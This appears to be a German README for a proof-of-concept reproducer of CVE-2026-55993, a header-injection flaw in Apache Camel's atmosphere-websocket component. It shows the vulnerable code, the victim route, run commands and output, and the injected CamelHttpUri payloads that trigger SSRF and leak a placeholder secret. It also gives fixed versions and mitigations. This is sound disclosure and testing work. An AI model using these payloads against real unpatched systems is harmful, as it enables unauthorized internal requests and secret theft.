
PoC-Reproducer für CVE-2026-55993 (Apache Camel camel-atmosphere-websocket): Der WebSocket-Consumer kopiert die Query-Parameter der Verbindung ungefiltert auf den Exchange, sodass eine injizierte CamelHttpUri eine serverseitige Anfrage (SSRF) auslöst und aufgelöste Property-Platzhalter preisgibt. Behoben in 4.14.8/4.18.3/4.21.0.
Dieses Projekt demonstriert eine Message-Header-Injection in der Apache-Camel-Komponente camel-atmosphere-websocket, die als CVE-2026-55993 geführt wird. Der WebSocket-Consumer kopiert die Query-Parameter der Verbindung ohne jede HeaderFilterStrategy auf den Camel Exchange, sodass ein Client Camel-Steuer-Header – insbesondere CamelHttpUri – injizieren kann, indem er sie einfach an die Query-Zeichenkette der WebSocket-URL anhängt:
// WebsocketConsumer.sendEventNotification (affected 4.18.2) — query params -> Exchange headers, unfiltered
for (Map.Entry<String, String> param : queryMap.entrySet()) {
exchange.getIn().setHeader(param.getKey(), param.getValue());
}
// where queryMap = getQueryMap(request.getQueryString()) (a naive, non-filtering parser)
Wenn die Route diesen Consumer an einen HTTP-Producer anbindet, überschreibt ein injiziertes CamelHttpUri – Server-Side Request Forgery. Der camel-http-Producer ruft für dieses angreiferkontrollierte URI außerdem auf, sodass eine injizierte -Referenz zu ihrem echten Wert aufgelöst und gesendet wird – wodurch Umgebungsvariablen, Anwendungskonfigurationen oder Vault-Geheimnisse offengelegt werden.
resolvePropertyPlaceholders(){{...}}Dieser PoC demonstriert die Auswirkungen als SSRF plus Offenlegung von Geheimnissen (CWE-20 → CWE-918 + CWE-200). Er ist eine von drei verwandten Komponenten, die zusammen unter CAMEL-23532 behoben wurden (mit camel-vertx-websocket, CVE-2026-46726, und camel-iggy, CVE-2026-55994).
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-atmosphere-websocket |
| Betroffene Klasse | org.apache.camel.component.atmosphere.websocket.WebsocketConsumer (getQueryMap() / sendEventNotification() bilden Query-Parameter ohne Filter auf Header ab) |
| CWE | CWE-20 (Unzureichende Eingabevalidierung) → CWE-918 (SSRF) + CWE-200 (Offenlegung von Informationen) |
| Auswirkung | Nicht authentifizierte SSRF und Offenlegung von Geheimnissen über die Property-Placeholder-Auflösung beim injizierten URI |
| Voraussetzungen | Eine Route bindet einen atmosphere-websocket-Consumer an einen HTTP-Producer; das Servlet läuft mit events=true |
| Betroffene Versionen | Von 4.0.0 bis vor 4.14.8, von 4.15.0 bis vor 4.18.3, von 4.19.0 bis vor 4.21.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| Anerkennung | Kamalpreet Singh |
Der Fix wendet die geerbte
HttpHeaderFilterStrategyauf die eingehende Zuordnung an und filtertCamel*- /camel*-Header ohne Beachtung der Groß-/Kleinschreibung, sodass sie nicht mehr über die WebSocket-Query-Zeichenkette injiziert werden können.
Die beiden verwundbaren Methoden von WebsocketConsumer werden unverändert mit einer angreiferkontrollierten Query-Zeichenkette ausgeführt:
WebsocketConsumer.getQueryMap(String) – der naive, nicht filternde Parser, der die Query-Zeichenkette der WebSocket-Verbindung in eine Map umwandelt;WebsocketConsumer.sendEventNotification(...) – die jeden Eintrag dieser Map als Header ohne HeaderFilterStrategy auf den Exchange kopiert.Der resultierende Exchange fließt über die echte Route zum echten camel-http-Producer, sodass die SSRF und die Offenlegung über {{...}}-Property-Placeholder echt sind.
Warum der WebSocket-Transport nicht direkt verwendet wird. In dieser Komponentenversion (Camel 4.18.2 → Atmosphere 3.1.0) wird ein WebSocket über JSR-356 bereitgestellt, dessen Upgrade vom Servlet-Container durchgeführt wird und
CamelWebSocketServlet.service()umgeht – die einzige Stelle, die die Query-Zeichenkette der Verbindung in dasqueryMapdes Consumers kopiert.sendEventNotificationliest diese (leere) Map, niemals die Query der WebSocket-Sitzung, sodass die Injection in dieser Atmosphere-Version nicht über einen aktiven JSR-356-WebSocket zugestellt werden kann. (Atmosphere 3.1.0 enthält nur JSR-356-/Servlet30-/BlockingIO-/Netty-Unterstützung – keinen servletbasierten WebSocket-Transport, derqueryMapbefüllen würde.) Dieser Reproducer ruft daher die beiden echten verwundbaren Methoden direkt mit der Query-Zeichenkette des Angreifers auf; der verwandtecamel-vertx-websocket-PoC (CVE-2026-46726) treibt denselben Fehler über einen aktiven WebSocket, da diese Komponente die Query bei jeder Nachricht abbildet.
from("atmosphere-websocket:///feed")
.to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
Das einzige vorgesehene Ziel des Routenautors ist /legit-backend; das injizierte CamelHttpUri überschreibt es.
CVE-2026-55993/
├── pom.xml # camel-atmosphere-websocket + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # atmosphere-websocket:///feed -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF collector: /legit-backend, /internal/secret, /collect/{secret}
│ └── ExploitController.java # drives the real getQueryMap + sendEventNotification with an injected query
└── resources/
└── application.properties # app.secret=... (leaked via placeholder resolution)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Legitimate WebSocket connection (no query params)
reached /legit-backend: true
reached /internal/secret: false
2) Injected query 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected query 'CamelHttpUri=http://localhost:8080/collect/{{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
Aktualisieren Sie auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23532). Nach der Aktualisierung filtert der Consumer Camel*-Header aus der WebSocket-Query-Zeichenkette, sodass CamelHttpUri und andere Steuer-Header nicht mehr injiziert werden können.
Bis zum Upgrade sollten Sie einen atmosphere-websocket-Consumer nicht direkt an einen HTTP-Producer anbinden, ohne vorher Camel-Steuer-Header zu entfernen (zum Beispiel removeHeaders("CamelHttp*")), und das Producer-Ziel aus einer vertrauenswürdigen Quelle setzen (oder bridgeEndpoint=true verwenden).
Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekannt gegebene und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.